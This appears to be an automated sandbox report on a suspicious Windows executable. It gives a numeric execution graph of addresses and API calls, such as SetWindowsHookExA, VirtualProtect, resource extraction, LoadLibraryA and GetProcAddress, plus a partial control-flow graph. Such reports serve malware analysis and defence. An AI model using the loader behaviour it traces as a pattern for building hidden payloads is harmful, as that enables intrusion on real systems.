                                                                                                                                                            execution_graph 83663 26000e90 83664 26000e9c 83663->83664 83666 26000ea7 83664->83666 83667 26004794 83664->83667 83670 2600ed48 83667->83670 83672 2600ed6f 83670->83672 83674 2600ee60 83672->83674 83675 2600eea9 VirtualProtect 83674->83675 83677 260047b6 83675->83677 83678 2600f130 83679 2600f174 CloseHandle 83678->83679 83681 2600f1c0 83679->83681 83682 2911cb20 83683 2911cb2c 83682->83683 83722 2a1d0e38 83683->83722 83730 2a1d0e29 83683->83730 83684 2911cbcb 83738 2a1db580 83684->83738 83744 2a1db570 83684->83744 83685 2911cbd2 83750 2a1e65b0 83685->83750 83755 2a1e65c0 83685->83755 83686 2911ccdc 83760 2a2548fa 83686->83760 83765 2a254908 83686->83765 83687 2911cded 83770 2a254e98 83687->83770 83775 2a254fa8 83687->83775 83688 2911cdf4 83780 2a2809d0 83688->83780 83785 2a2809bf 83688->83785 83689 2911cefe 83790 2a280e98 83689->83790 83795 2a280e8a 83689->83795 83690 2911cf05 83800 2a286ec8 83690->83800 83805 2a286eba 83690->83805 83691 2911d00f 83810 2a287140 83691->83810 83815 2a287150 83691->83815 83692 2911d016 83820 2a28e810 83692->83820 83825 2a28e800 83692->83825 83693 2911d120 83830 2a296440 83693->83830 83695 2911d342 83714 2ad30513 7 API calls 83695->83714 83715 2ad30520 7 API calls 83695->83715 83696 2911d3ea 83714->83696 83715->83696 83723 2a1d0e5a 83722->83723 83724 2a1d1241 83723->83724 83845 2a1d7a28 83723->83845 83849 2a1d7e0c 83723->83849 83724->83684 83725 2a1d0f26 83725->83724 83853 2a1db183 83725->83853 83860 2a1dafe8 83725->83860 83732 2a1d0e5a 83730->83732 83731 2a1d1241 83731->83684 83732->83731 83736 2a1d7e0c LdrInitializeThunk 83732->83736 83737 2a1d7a28 LdrInitializeThunk 83732->83737 83733 2a1d0f26 83733->83731 83734 2a1dafe8 4 API calls 83733->83734 83735 2a1db183 4 API calls 83733->83735 83734->83733 83735->83733 83736->83733 83737->83733 83740 2a1db5a2 83738->83740 83739 2a1db981 83739->83685 83740->83739 83741 2a1d7a28 LdrInitializeThunk 83740->83741 83743 2a1db66c 83741->83743 83742 2a1dafe8 LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 83742->83743 83743->83739 83743->83742 83745 2a1db575 83744->83745 83746 2a1db981 83745->83746 83747 2a1d7a28 LdrInitializeThunk 83745->83747 83746->83685 83749 2a1db66c 83747->83749 83748 2a1dafe8 LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 83748->83749 83749->83746 83749->83748 83751 2a1e65e2 83750->83751 83752 2a1e66f4 83751->83752 83753 2a1d7e0c LdrInitializeThunk 83751->83753 83754 2a1d7a28 LdrInitializeThunk 83751->83754 83752->83686 83753->83752 83754->83752 83756 2a1e65e2 83755->83756 83757 2a1e66f4 83756->83757 83758 2a1d7e0c LdrInitializeThunk 83756->83758 83759 2a1d7a28 LdrInitializeThunk 83756->83759 83757->83686 83758->83757 83759->83757 83761 2a25492a 83760->83761 83762 2a254a44 83761->83762 83763 2a1d7e0c LdrInitializeThunk 83761->83763 83764 2a1d7a28 LdrInitializeThunk 83761->83764 83762->83687 83763->83762 83764->83762 83766 2a25492a 83765->83766 83767 2a254a44 83766->83767 83768 2a1d7e0c LdrInitializeThunk 83766->83768 83769 2a1d7a28 LdrInitializeThunk 83766->83769 83767->83687 83768->83767 83769->83767 83771 2a254ea6 83770->83771 83772 2a25509d 83771->83772 83773 2a1d7e0c LdrInitializeThunk 83771->83773 83774 2a1d7a28 LdrInitializeThunk 83771->83774 83772->83688 83773->83772 83774->83772 83776 2a254fca 83775->83776 83777 2a25509d 83776->83777 83778 2a1d7e0c LdrInitializeThunk 83776->83778 83779 2a1d7a28 LdrInitializeThunk 83776->83779 83777->83688 83778->83777 83779->83777 83781 2a2809f2 83780->83781 83782 2a280ac5 83781->83782 83783 2a1d7e0c LdrInitializeThunk 83781->83783 83784 2a1d7a28 LdrInitializeThunk 83781->83784 83782->83689 83783->83782 83784->83782 83786 2a2809f2 83785->83786 83787 2a280ac5 83786->83787 83788 2a1d7e0c LdrInitializeThunk 83786->83788 83789 2a1d7a28 LdrInitializeThunk 83786->83789 83787->83689 83788->83787 83789->83787 83791 2a280eb4 83790->83791 83792 2a280f5f 83791->83792 83793 2a1d7e0c LdrInitializeThunk 83791->83793 83794 2a1d7a28 LdrInitializeThunk 83791->83794 83792->83690 83793->83792 83794->83792 83796 2a280e98 83795->83796 83797 2a280f5f 83796->83797 83798 2a1d7e0c LdrInitializeThunk 83796->83798 83799 2a1d7a28 LdrInitializeThunk 83796->83799 83797->83690 83798->83797 83799->83797 83801 2a286ee4 83800->83801 83802 2a286f8f 83801->83802 83803 2a1d7e0c LdrInitializeThunk 83801->83803 83804 2a1d7a28 LdrInitializeThunk 83801->83804 83802->83691 83803->83802 83804->83802 83806 2a286ec8 83805->83806 83807 2a286f8f 83806->83807 83808 2a1d7e0c LdrInitializeThunk 83806->83808 83809 2a1d7a28 LdrInitializeThunk 83806->83809 83807->83691 83808->83807 83809->83807 83811 2a287150 83810->83811 83812 2a287222 83811->83812 83813 2a1d7e0c LdrInitializeThunk 83811->83813 83814 2a1d7a28 LdrInitializeThunk 83811->83814 83812->83692 83813->83812 83814->83812 83816 2a287172 83815->83816 83817 2a287222 83816->83817 83818 2a1d7e0c LdrInitializeThunk 83816->83818 83819 2a1d7a28 LdrInitializeThunk 83816->83819 83817->83692 83818->83817 83819->83817 83821 2a28e832 83820->83821 83822 2a28e8e2 83821->83822 83823 2a1d7e0c LdrInitializeThunk 83821->83823 83824 2a1d7a28 LdrInitializeThunk 83821->83824 83822->83693 83823->83822 83824->83822 83826 2a28e810 83825->83826 83827 2a28e8e2 83826->83827 83828 2a1d7e0c LdrInitializeThunk 83826->83828 83829 2a1d7a28 LdrInitializeThunk 83826->83829 83827->83693 83828->83827 83829->83827 83831 2a29645c 83830->83831 83832 2911d238 83831->83832 83833 2a1d7e0c LdrInitializeThunk 83831->83833 83834 2a1d7a28 LdrInitializeThunk 83831->83834 83835 2a29c460 83832->83835 83840 2a29c470 83832->83840 83833->83832 83834->83832 83836 2a29c470 83835->83836 83837 2a29c537 83836->83837 83838 2a1d7e0c LdrInitializeThunk 83836->83838 83839 2a1d7a28 LdrInitializeThunk 83836->83839 83837->83695 83838->83837 83839->83837 83841 2a29c48c 83840->83841 83842 2a29c537 83841->83842 83843 2a1d7e0c LdrInitializeThunk 83841->83843 83844 2a1d7a28 LdrInitializeThunk 83841->83844 83842->83695 83843->83842 83844->83842 83847 2a1d7a59 83845->83847 83846 2a1d7bb9 83846->83725 83847->83846 83848 2a1d7f49 LdrInitializeThunk 83847->83848 83848->83846 83851 2a1d7cc3 83849->83851 83850 2a1d7f49 LdrInitializeThunk 83852 2a1d7f61 83850->83852 83851->83850 83852->83725 83855 2a1db047 83853->83855 83854 2a1db12b 83854->83725 83855->83854 83867 2a1db43c 83855->83867 83871 2a1db290 83855->83871 83875 2a1db2a0 83855->83875 83879 2a1db3dc 83855->83879 83861 2a1db00f 83860->83861 83862 2a1db12b 83861->83862 83863 2a1db3dc LdrInitializeThunk 83861->83863 83864 2a1db43c LdrInitializeThunk 83861->83864 83865 2a1db290 LdrInitializeThunk 83861->83865 83866 2a1db2a0 LdrInitializeThunk 83861->83866 83862->83725 83863->83862 83864->83862 83865->83862 83866->83862 83868 2a1db3bb 83867->83868 83870 2a1db2fe 83867->83870 83869 2a1db2f1 LdrInitializeThunk 83868->83869 83868->83870 83869->83870 83870->83854 83872 2a1db293 LdrInitializeThunk 83871->83872 83874 2a1db2fe 83872->83874 83874->83854 83876 2a1db2ae LdrInitializeThunk 83875->83876 83878 2a1db2fe 83876->83878 83878->83854 83880 2a1db3bb 83879->83880 83881 2a1db2f1 LdrInitializeThunk 83880->83881 83882 2a1db2fe 83880->83882 83881->83882 83882->83854 83309 2a3ffe78 83310 2a3ffe9c 83309->83310 83316 2600feb0 83310->83316 83311 2a3ffeb8 83312 2a3fff3e 83311->83312 83321 2ad30513 83311->83321 83326 2ad30520 83311->83326 83317 2600fed4 83316->83317 83331 2911fd20 83317->83331 83335 2911fd28 83317->83335 83318 2600ff3b 83318->83311 83322 2ad3052f 83321->83322 83339 2ad309e0 83322->83339 83345 2ad309c0 83322->83345 83327 2ad3052f 83326->83327 83329 2ad309c0 7 API calls 83327->83329 83330 2ad309e0 7 API calls 83327->83330 83328 2ad3054f 83328->83312 83329->83328 83330->83328 83333 2911fd70 SetWindowsHookExA 83331->83333 83334 2911fdeb 83333->83334 83334->83318 83336 2911fd70 SetWindowsHookExA 83335->83336 83338 2911fdeb 83336->83338 83338->83318 83340 2ad30a0e 83339->83340 83351 2ad3101f 83340->83351 83358 2ad310c0 83340->83358 83365 2ad310b0 83340->83365 83341 2ad30a2e 83346 2ad309c5 83345->83346 83348 2ad310c0 7 API calls 83346->83348 83349 2ad310b0 7 API calls 83346->83349 83350 2ad3101f 7 API calls 83346->83350 83347 2ad30a2e 83347->83347 83348->83347 83349->83347 83350->83347 83353 2ad31035 83351->83353 83352 2ad31324 83352->83341 83353->83352 83354 2ad312c9 83353->83354 83372 2ad325e8 83353->83372 83354->83352 83379 2ad3bdc8 83354->83379 83384 2ad3bdb9 83354->83384 83359 2ad310e5 83358->83359 83360 2ad312c9 83359->83360 83361 2ad31324 83359->83361 83364 2ad325e8 4 API calls 83359->83364 83360->83361 83362 2ad3bdb9 2 API calls 83360->83362 83363 2ad3bdc8 2 API calls 83360->83363 83361->83341 83362->83361 83363->83361 83364->83360 83367 2ad310e5 83365->83367 83366 2ad312c9 83368 2ad31324 83366->83368 83369 2ad3bdb9 2 API calls 83366->83369 83370 2ad3bdc8 2 API calls 83366->83370 83367->83366 83367->83368 83371 2ad325e8 4 API calls 83367->83371 83368->83341 83369->83368 83370->83368 83371->83366 83373 2ad32609 83372->83373 83374 2ad3262d 83373->83374 83389 2ad32798 83373->83389 83393 2ad327f1 83373->83393 83400 2ad32788 83373->83400 83404 2ad32755 83373->83404 83374->83354 83382 2ad3be2d 83379->83382 83380 2ad3c290 WaitMessage 83380->83382 83382->83380 83383 2ad3be7a 83382->83383 83480 2ad3ad24 83382->83480 83383->83352 83388 2ad3bdc8 83384->83388 83385 2ad3c290 WaitMessage 83385->83388 83386 2ad3be7a 83386->83352 83387 2ad3ad24 DispatchMessageW 83387->83388 83388->83385 83388->83386 83388->83387 83390 2ad327a5 83389->83390 83392 2ad327de 83390->83392 83409 2ad30dd4 83390->83409 83392->83374 83394 2ad327ff 83393->83394 83395 2ad327a4 83393->83395 83398 2ad30e08 4 API calls 83394->83398 83399 2ad32850 83394->83399 83396 2ad30dd4 4 API calls 83395->83396 83397 2ad327de 83395->83397 83396->83397 83397->83374 83398->83399 83401 2ad32798 83400->83401 83402 2ad327de 83401->83402 83403 2ad30dd4 4 API calls 83401->83403 83402->83374 83403->83402 83405 2ad3276d 83404->83405 83406 2ad32795 83404->83406 83405->83374 83407 2ad327de 83406->83407 83408 2ad30dd4 4 API calls 83406->83408 83407->83374 83408->83407 83410 2ad30ddf 83409->83410 83412 2ad32850 83410->83412 83413 2ad30e08 83410->83413 83412->83412 83414 2ad30e13 83413->83414 83420 2ad30e18 83414->83420 83416 2ad328bf 83424 2ad37610 83416->83424 83433 2ad375f8 83416->83433 83417 2ad328f9 83417->83412 83423 2ad30e23 83420->83423 83421 2ad33cc0 83421->83416 83422 2ad325e8 4 API calls 83422->83421 83423->83421 83423->83422 83426 2ad37641 83424->83426 83428 2ad37741 83424->83428 83425 2ad3764d 83425->83417 83426->83425 83442 2ad37888 83426->83442 83445 2ad37878 83426->83445 83427 2ad3768d 83450 2a3f9b60 83427->83450 83456 2a3f9b51 83427->83456 83428->83417 83434 2ad375b1 83433->83434 83435 2ad3760b 83433->83435 83434->83417 83437 2ad3764d 83435->83437 83438 2ad37888 4 API calls 83435->83438 83439 2ad37878 4 API calls 83435->83439 83436 2ad3768d 83440 2a3f9b51 3 API calls 83436->83440 83441 2a3f9b60 3 API calls 83436->83441 83437->83417 83438->83436 83439->83436 83440->83437 83441->83437 83462 2ad378b8 83442->83462 83443 2ad37892 83443->83427 83446 2ad3787b 83445->83446 83448 2ad37821 83445->83448 83447 2ad37892 83446->83447 83449 2ad378b8 4 API calls 83446->83449 83447->83427 83448->83427 83449->83447 83451 2a3f9b8b 83450->83451 83471 2a3fa0fd 83451->83471 83454 2a3f9c3a 83457 2a3f9b8b 83456->83457 83461 2a3fa0fd 3 API calls 83457->83461 83458 2a3f9c0e 83459 2a3f8fb4 GetModuleHandleW 83458->83459 83460 2a3f9c3a 83458->83460 83459->83460 83461->83458 83463 2ad378cc 83462->83463 83464 2ad378f4 83463->83464 83466 2a3fa5d8 GetModuleHandleW 83463->83466 83467 2ad378e4 83463->83467 83468 2a3f8fb4 GetModuleHandleW 83463->83468 83469 2a3fa2b0 GetModuleHandleW GetModuleHandleW 83463->83469 83470 2a3fa2a0 GetModuleHandleW GetModuleHandleW 83463->83470 83464->83443 83465 2ad378b8 GetModuleHandleW GetModuleHandleW GetModuleHandleW GetModuleHandleW 83465->83464 83466->83467 83467->83464 83467->83465 83468->83467 83469->83467 83470->83467 83472 2a3fa16d 83471->83472 83473 2a3f9c0e 83472->83473 83474 2a3fa2b0 GetModuleHandleW GetModuleHandleW 83472->83474 83475 2a3fa2a0 GetModuleHandleW GetModuleHandleW 83472->83475 83473->83454 83476 2a3f8fb4 83473->83476 83474->83473 83475->83473 83477 2a3fa5e0 GetModuleHandleW 83476->83477 83479 2a3fa674 83477->83479 83479->83454 83481 2ad3d038 DispatchMessageW 83480->83481 83482 2ad3d0c5 83481->83482 83482->83382 83483 2a3fdfd8 DuplicateHandle 83484 2a3fe0b5 83483->83484 83883 40cbdd 83884 40cbe9 __read 83883->83884 83927 40d534 HeapCreate 83884->83927 83887 40cc46 83988 41087e 71 API calls 8 library calls 83887->83988 83890 40cc4c 83891 40cc50 83890->83891 83892 40cc58 __RTC_Initialize 83890->83892 83989 40cbb4 62 API calls 3 library calls 83891->83989 83929 411a15 67 API calls 3 library calls 83892->83929 83894 40cc57 83894->83892 83896 40cc66 83897 40cc72 GetCommandLineA 83896->83897 83898 40cc6a 83896->83898 83930 412892 71 API calls 3 library calls 83897->83930 83990 40e79a 62 API calls 3 library calls 83898->83990 83901 40cc82 83991 4127d7 107 API calls 3 library calls 83901->83991 83902 40cc71 83902->83897 83904 40cc8c 83905 40cc90 83904->83905 83906 40cc98 83904->83906 83992 40e79a 62 API calls 3 library calls 83905->83992 83931 41255f 106 API calls 6 library calls 83906->83931 83909 40cc97 83909->83906 83910 40cc9d 83911 40cca1 83910->83911 83912 40cca9 83910->83912 83993 40e79a 62 API calls 3 library calls 83911->83993 83932 40e859 73 API calls 5 library calls 83912->83932 83915 40cca8 83915->83912 83916 40ccb0 83917 40ccb5 83916->83917 83918 40ccbc 83916->83918 83994 40e79a 62 API calls 3 library calls 83917->83994 83933 4019f0 OleInitialize 83918->83933 83921 40ccbb 83921->83918 83922 40ccd8 83923 40ccea 83922->83923 83995 40ea0a 62 API calls _doexit 83922->83995 83996 40ea36 62 API calls _doexit 83923->83996 83926 40ccef __read 83928 40cc3a 83927->83928 83928->83887 83987 40cbb4 62 API calls 3 library calls 83928->83987 83929->83896 83930->83901 83931->83910 83932->83916 83934 401ab9 83933->83934 83997 40b99e 83934->83997 83936 401abf 83937 401acd GetCurrentProcessId CreateToolhelp32Snapshot Module32First 83936->83937 83967 402467 83936->83967 83938 401dc3 CloseHandle GetModuleHandleA 83937->83938 83946 401c55 83937->83946 84010 401650 83938->84010 83940 401e8b FindResourceA LoadResource LockResource SizeofResource 84012 40b84d 83940->84012 83944 401c9c CloseHandle 83944->83922 83945 401ecb _memset 83947 401efc SizeofResource 83945->83947 83946->83944 83950 401cf9 Module32Next 83946->83950 83948 401f1c 83947->83948 83949 401f5f 83947->83949 83948->83949 84068 401560 __VEC_memcpy __shift 83948->84068 83952 401f92 _memset 83949->83952 84069 401560 __VEC_memcpy __shift 83949->84069 83950->83938 83959 401d0f 83950->83959 83954 401fa2 FreeResource 83952->83954 83955 40b84d _malloc 62 API calls 83954->83955 83956 401fbb SizeofResource 83955->83956 83957 401fe5 _memset 83956->83957 83958 4020aa LoadLibraryA 83957->83958 83960 401650 83958->83960 83959->83944 83962 401dad Module32Next 83959->83962 83961 40216c GetProcAddress 83960->83961 83963 4021aa 83961->83963 83961->83967 83962->83938 83962->83959 83963->83967 84042 4018f0 83963->84042 83965 40243f 83965->83967 84070 40b6b5 62 API calls 2 library calls 83965->84070 83967->83922 83968 4021f1 83968->83965 84054 401870 83968->84054 83970 402269 VariantInit 83971 401870 75 API calls 83970->83971 83972 40228b VariantInit 83971->83972 83973 4022a7 83972->83973 83974 4022d9 SafeArrayCreate SafeArrayAccessData 83973->83974 84059 40b350 83974->84059 83977 40232c 83978 402354 SafeArrayDestroy 83977->83978 83986 40235b 83977->83986 83978->83986 83979 402392 SafeArrayCreateVector 83980 4023a4 83979->83980 83981 4023bc VariantClear VariantClear 83980->83981 84061 4019a0 83981->84061 83984 40242e 83985 4019a0 65 API calls 83984->83985 83985->83965 83986->83979 83987->83887 83988->83890 83989->83894 83990->83902 83991->83904 83992->83909 83993->83915 83994->83921 83995->83923 83996->83926 83998 40b9aa __read _strnlen 83997->83998 83999 40b9b8 83998->83999 84003 40b9ec 83998->84003 84071 40bfc1 62 API calls __getptd_noexit 83999->84071 84001 40b9bd 84072 40e744 6 API calls 2 library calls 84001->84072 84073 40d6e0 62 API calls 2 library calls 84003->84073 84005 40b9cd __read 84005->83936 84006 40b9f3 84074 40b917 120 API calls 3 library calls 84006->84074 84008 40b9ff 84075 40ba18 LeaveCriticalSection _doexit 84008->84075 84011 4017cc _realloc 84010->84011 84011->83940 84013 40b900 84012->84013 84019 40b85f 84012->84019 84083 40d2e3 6 API calls __decode_pointer 84013->84083 84015 40b870 84015->84019 84076 40ec4d 62 API calls 2 library calls 84015->84076 84077 40eaa2 62 API calls 7 library calls 84015->84077 84078 40e7ee GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84015->84078 84016 40b906 84084 40bfc1 62 API calls __getptd_noexit 84016->84084 84019->84015 84022 40b8bc RtlAllocateHeap 84019->84022 84024 401ebf 84019->84024 84025 40b8ec 84019->84025 84028 40b8f1 84019->84028 84079 40b7fe 62 API calls 4 library calls 84019->84079 84080 40d2e3 6 API calls __decode_pointer 84019->84080 84022->84019 84030 40af66 84024->84030 84081 40bfc1 62 API calls __getptd_noexit 84025->84081 84082 40bfc1 62 API calls __getptd_noexit 84028->84082 84032 40af70 84030->84032 84031 40b84d _malloc 62 API calls 84031->84032 84032->84031 84033 40af8a 84032->84033 84037 40af8c std::bad_alloc::bad_alloc 84032->84037 84085 40d2e3 6 API calls __decode_pointer 84032->84085 84033->83945 84036 40afbc 84088 40cd39 RaiseException 84036->84088 84041 40afb2 84037->84041 84086 40d2bd 73 API calls __cinit 84037->84086 84040 40afca 84087 40af49 62 API calls std::exception::exception 84041->84087 84043 401903 lstrlenA 84042->84043 84044 4018fc 84042->84044 84089 4017e0 84043->84089 84044->83968 84047 401940 GetLastError 84049 40194b MultiByteToWideChar 84047->84049 84050 40198d 84047->84050 84048 401996 84048->83968 84051 4017e0 77 API calls 84049->84051 84050->84048 84105 401030 GetLastError EntryPoint 84050->84105 84052 401970 MultiByteToWideChar 84051->84052 84052->84050 84055 40af66 74 API calls 84054->84055 84056 40187c 84055->84056 84057 401885 SysAllocString 84056->84057 84058 4018a4 84056->84058 84057->84058 84058->83970 84060 40231a SafeArrayUnaccessData 84059->84060 84060->83977 84062 4019aa InterlockedDecrement 84061->84062 84067 4019df VariantClear 84061->84067 84063 4019b8 84062->84063 84062->84067 84064 4019c2 SysFreeString 84063->84064 84065 4019c9 84063->84065 84063->84067 84064->84065 84109 40aec0 63 API calls 2 library calls 84065->84109 84067->83984 84068->83948 84069->83952 84070->83967 84071->84001 84073->84006 84074->84008 84075->84005 84076->84015 84077->84015 84079->84019 84080->84019 84081->84028 84082->84024 84083->84016 84084->84024 84085->84032 84086->84041 84087->84036 84088->84040 84090 4017f3 84089->84090 84091 4017e9 EntryPoint 84089->84091 84092 401805 84090->84092 84093 4017fb EntryPoint 84090->84093 84091->84090 84094 401818 84092->84094 84095 40180e EntryPoint 84092->84095 84093->84092 84096 40183e 84094->84096 84102 401844 84094->84102 84106 40b783 72 API calls 4 library calls 84094->84106 84095->84094 84107 40b6b5 62 API calls 2 library calls 84096->84107 84100 40186d MultiByteToWideChar 84100->84047 84100->84048 84101 40184e EntryPoint 84101->84102 84102->84100 84102->84101 84108 40b743 62 API calls 2 library calls 84102->84108 84103 40182d 84103->84102 84104 401834 EntryPoint 84103->84104 84104->84096 84106->84103 84107->84102 84108->84102 84109->84067 83485 25ead044 83486 25ead05c 83485->83486 83487 25ead0b6 83486->83487 83495 2a3ff09c 83486->83495 83507 2a3fb640 83486->83507 83510 2a3fb4d8 83486->83510 83516 2a3fb561 83486->83516 83521 2a3fadfc 83486->83521 83525 2a3fb4c9 83486->83525 83531 2a3fae0c 83486->83531 83498 2a3ff0cd 83495->83498 83496 2a3ff101 83585 2a3fe4a4 83496->83585 83498->83496 83499 2a3ff0f1 83498->83499 83500 2a3ff0ff 83499->83500 83543 2ad380c8 83499->83543 83548 2a3ff218 83499->83548 83557 2ad381a4 83499->83557 83563 2a3ff228 83499->83563 83572 2ad380d8 83499->83572 83577 2ad3817f 83499->83577 83500->83500 83508 2a3fb657 83507->83508 83613 2a3fae34 83507->83613 83508->83487 83511 2a3fb4fe 83510->83511 83512 2a3fadfc GetModuleHandleW 83511->83512 83513 2a3fb50a 83512->83513 83514 2a3fae0c 3 API calls 83513->83514 83515 2a3fb51f 83514->83515 83515->83487 83517 2a3fb50c 83516->83517 83520 2a3fb567 83516->83520 83518 2a3fb51f 83517->83518 83519 2a3fae0c 3 API calls 83517->83519 83518->83487 83519->83518 83520->83487 83522 2a3fae07 83521->83522 83523 2a3fae34 GetModuleHandleW 83522->83523 83524 2a3fb657 83523->83524 83524->83487 83526 2a3fb4fe 83525->83526 83527 2a3fadfc GetModuleHandleW 83526->83527 83528 2a3fb50a 83527->83528 83529 2a3fae0c 3 API calls 83528->83529 83530 2a3fb51f 83529->83530 83530->83487 83532 2a3fae17 83531->83532 83533 2a3ff101 83532->83533 83535 2a3ff0f1 83532->83535 83534 2a3fe4a4 3 API calls 83533->83534 83536 2a3ff0ff 83534->83536 83535->83536 83537 2a3ff228 3 API calls 83535->83537 83538 2a3ff218 3 API calls 83535->83538 83539 2ad381a4 3 API calls 83535->83539 83540 2ad380d8 3 API calls 83535->83540 83541 2ad380c8 3 API calls 83535->83541 83542 2ad3817f 3 API calls 83535->83542 83536->83536 83537->83536 83538->83536 83539->83536 83540->83536 83541->83536 83542->83536 83545 2ad380ec 83543->83545 83544 2ad38178 83544->83500 83547 2ad3817f 3 API calls 83545->83547 83592 2ad38190 83545->83592 83547->83544 83549 2a3ff236 83548->83549 83550 2a3ff263 83548->83550 83553 2a3fe4a4 3 API calls 83549->83553 83556 2a3ff23e 83549->83556 83550->83549 83551 2a3ff268 83550->83551 83605 2a3fe4c4 83551->83605 83555 2a3ff27c 83553->83555 83554 2a3ff274 83554->83500 83555->83500 83556->83500 83558 2ad38162 83557->83558 83559 2ad381b2 83557->83559 83561 2ad38190 3 API calls 83558->83561 83562 2ad3817f 3 API calls 83558->83562 83560 2ad38178 83560->83500 83561->83560 83562->83560 83564 2a3ff236 83563->83564 83565 2a3ff263 83563->83565 83567 2a3ff23e 83564->83567 83569 2a3fe4a4 3 API calls 83564->83569 83565->83564 83566 2a3ff268 83565->83566 83568 2a3fe4c4 GetCurrentThreadId 83566->83568 83567->83500 83570 2a3ff274 83568->83570 83571 2a3ff27c 83569->83571 83570->83500 83571->83500 83574 2ad380ec 83572->83574 83573 2ad38178 83573->83500 83575 2ad38190 3 API calls 83574->83575 83576 2ad3817f 3 API calls 83574->83576 83575->83573 83576->83573 83578 2ad38183 83577->83578 83580 2ad38129 83577->83580 83579 2ad381a1 83578->83579 83584 2ad395c1 3 API calls 83578->83584 83579->83500 83582 2ad38190 3 API calls 83580->83582 83583 2ad3817f 3 API calls 83580->83583 83581 2ad38178 83581->83500 83582->83581 83583->83581 83584->83579 83586 2a3fe4af 83585->83586 83587 2a3ff37c 83586->83587 83588 2a3ff2d2 83586->83588 83589 2a3fae0c 2 API calls 83587->83589 83590 2a3ff32a CallWindowProcW 83588->83590 83591 2a3ff2d9 83588->83591 83589->83591 83590->83591 83591->83500 83593 2ad381a1 83592->83593 83595 2ad395c1 83592->83595 83593->83544 83597 2a3fe4a4 3 API calls 83595->83597 83599 2a3ff280 83595->83599 83596 2ad395da 83596->83593 83597->83596 83600 2a3ff37c 83599->83600 83601 2a3ff2d2 83599->83601 83602 2a3fae0c 2 API calls 83600->83602 83603 2a3ff32a CallWindowProcW 83601->83603 83604 2a3ff2d9 83601->83604 83602->83604 83603->83604 83604->83596 83606 2a3fe4cf 83605->83606 83609 2a3fe51c 83606->83609 83608 2a3ff865 83608->83554 83611 2a3fe527 83609->83611 83610 2a3ff9fb 83610->83608 83611->83610 83612 2a3ff9d1 GetCurrentThreadId 83611->83612 83612->83610 83614 2a3fae3f 83613->83614 83615 2a3f8fb4 GetModuleHandleW 83614->83615 83616 2a3fb71f 83614->83616 83615->83616 84110 2a1efe80 84111 2a1efea4 84110->84111 84112 2ad310c0 7 API calls 84111->84112 84113 2ad310b0 7 API calls 84111->84113 84114 2ad3101f 7 API calls 84111->84114 84112->84111 84113->84111 84114->84111 83617 2a3ff630 83620 2a3ff63a 83617->83620 83618 2a3ff6ac 83618->83618 83620->83618 83621 2a3fe4fc 83620->83621 83622 2a3fe507 83621->83622 83623 2a3fe4c4 GetCurrentThreadId 83622->83623 83624 2a3ff80c 83623->83624 83627 2a3f3e6c 83624->83627 83629 2a3f3e77 83627->83629 83628 2a3f9130 83628->83618 83629->83628 83633 2a3f8c60 83629->83633 83635 2a3f8c6b 83633->83635 83634 2a3f90f7 83634->83628 83638 2a3f8c70 83634->83638 83635->83634 83636 2a3f9b51 3 API calls 83635->83636 83637 2a3f9b60 3 API calls 83635->83637 83636->83634 83637->83634 83639 2a3ff530 SetTimer 83638->83639 83640 2a3ff5dd 83639->83640 83640->83628 83641 2a3fdd90 83642 2a3fddd6 GetCurrentProcess 83641->83642 83644 2a3fde28 GetCurrentThread 83642->83644 83647 2a3fde21 83642->83647 83645 2a3fde5e 83644->83645 83646 2a3fde65 GetCurrentProcess 83644->83646 83645->83646 83650 2a3fde9b 83646->83650 83647->83644 83648 2a3fdec3 GetCurrentThreadId 83649 2a3fdef4 83648->83649 83650->83648 83651 2a3f5bd0 83652 2a3f5bdf 83651->83652 83655 2a3f5be9 83651->83655 83659 2a3f5bf8 83651->83659 83657 2a3f5bf1 83655->83657 83656 2a3f5cb1 83656->83656 83657->83656 83658 2a3f3e6c 4 API calls 83657->83658 83658->83656 83661 2a3f5c26 83659->83661 83660 2a3f5cb1 83660->83660 83661->83660 83662 2a3f3e6c 4 API calls 83661->83662 83662->83660 84115 2a3fb240 84116 2a3fb2d8 CreateWindowExW 84115->84116 84118 2a3fb416 84116->84118

                                                                                                                                                            Executed Functions

                                                                                                                                                            Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 0 4019f0-401ac7 OleInitialize call 401650 call 40b99e 5 40248a-402496 0->5 6 401acd-401c4f GetCurrentProcessId CreateToolhelp32Snapshot Module32First 0->6 7 401dc3-401ed4 CloseHandle GetModuleHandleA call 401650 FindResourceA LoadResource LockResource SizeofResource call 40b84d call 40af66 6->7 8 401c55-401c6c call 401650 6->8 27 401ed6-401eed call 40ba30 7->27 28 401eef 7->28 14 401c73-401c77 8->14 16 401c93-401c95 14->16 17 401c79-401c7b 14->17 20 401c98-401c9a 16->20 18 401c7d-401c83 17->18 19 401c8f-401c91 17->19 18->16 22 401c85-401c8d 18->22 19->20 23 401cb0-401cce call 401650 20->23 24 401c9c-401caf CloseHandle 20->24 22->14 22->19 34 401cd0-401cd4 23->34 29 401ef3-401f1a call 401300 SizeofResource 27->29 28->29 38 401f1c-401f2f 29->38 39 401f5f-401f69 29->39 36 401cf0-401cf2 34->36 37 401cd6-401cd8 34->37 42 401cf5-401cf7 36->42 40 401cda-401ce0 37->40 41 401cec-401cee 37->41 44 401f33-401f5d call 401560 38->44 45 401f73-401f75 39->45 46 401f6b-401f72 39->46 40->36 47 401ce2-401cea 40->47 41->42 42->24 43 401cf9-401d09 Module32Next 42->43 43->7 48 401d0f 43->48 44->39 50 401f92-4021a4 call 40ba30 FreeResource call 40b84d SizeofResource call 40ac60 call 40ba30 call 401650 LoadLibraryA call 401650 GetProcAddress 45->50 51 401f77-401f8d call 401560 45->51 46->45 47->34 47->41 52 401d10-401d2e call 401650 48->52 50->5 87 4021aa-4021c0 50->87 51->50 61 401d30-401d34 52->61 63 401d50-401d52 61->63 64 401d36-401d38 61->64 68 401d55-401d57 63->68 66 401d3a-401d40 64->66 67 401d4c-401d4e 64->67 66->63 70 401d42-401d4a 66->70 67->68 68->24 71 401d5d-401d7b call 401650 68->71 70->61 70->67 77 401d80-401d84 71->77 78 401da0-401da2 77->78 79 401d86-401d88 77->79 83 401da5-401da7 78->83 81 401d8a-401d90 79->81 82 401d9c-401d9e 79->82 81->78 85 401d92-401d9a 81->85 82->83 